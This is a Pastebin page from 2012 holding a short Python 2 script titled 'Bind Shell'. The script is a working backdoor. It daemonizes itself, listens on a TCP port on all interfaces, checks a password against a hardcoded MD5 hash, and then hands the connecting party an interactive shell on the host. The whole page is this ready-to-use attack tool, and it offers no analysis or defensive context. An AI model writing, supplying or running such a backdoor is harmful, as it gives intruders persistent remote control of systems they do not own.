TrojanSpot

Bind Shell | www.pemula.info

Sep 21st, 2012
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.30 KB | None | 0 0
  1. # python bindshell, fancy version
  2. # (C) 2005 http://www.awarenetwork.org
  3. # choose hax
  4.  
  5. import md5,os,sys,select
  6. from pty import spawn, fork
  7. from socket import *
  8.  
  9. hexa  = "1f88c9132134bf3fda24ab36b82b2d2d" #place your md5 here (d3hydr8)
  10. watch = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)
  11. port  = sys.argv[-1].isdigit() and int(sys.argv[-1]) or 2100
  12. die   = False
  13.  
  14. if os.fork(): sys.exit(0)
  15.  
  16. try:
  17.     watch.bind(("0",port))
  18.     watch.listen(5)
  19. except:
  20.     print "[%d] unable to create socket" % os.getpid()
  21. else:
  22.     print "[%d] bindshell on port %d" % (os.getpid(),port)
  23.  
  24. while True:
  25.     sock, remote = watch.accept()
  26.     if os.fork(): continue
  27.     pid, childID = fork()
  28.  
  29.     if pid == 0:
  30.         if md5.md5(raw_input("pw: ")).hexdigest().upper() == hexa.upper():
  31.             spawn( raw_input("sh: "))
  32.     else:
  33.         b = sock.makefile(os.O_RDONLY|os.O_NONBLOCK)
  34.         c = os.fdopen(childID,'r+');  data = "";
  35.         x = {b:c,c:b}
  36.  
  37.         while True:
  38.             for f in select.select([b,c],[],[])[0]:
  39.                 try: d = os.read(f.fileno(),4096)
  40.                 except: sys.exit(0)
  41.                 if f is c and d.strip()==data:
  42.                     data= ""; continue
  43.                 x[f].write(d)
  44.                 x[f].flush()
  45.                 data = d.strip()
  46.  
  47.     sock.close()
Add Comment
Please, Sign In to add comment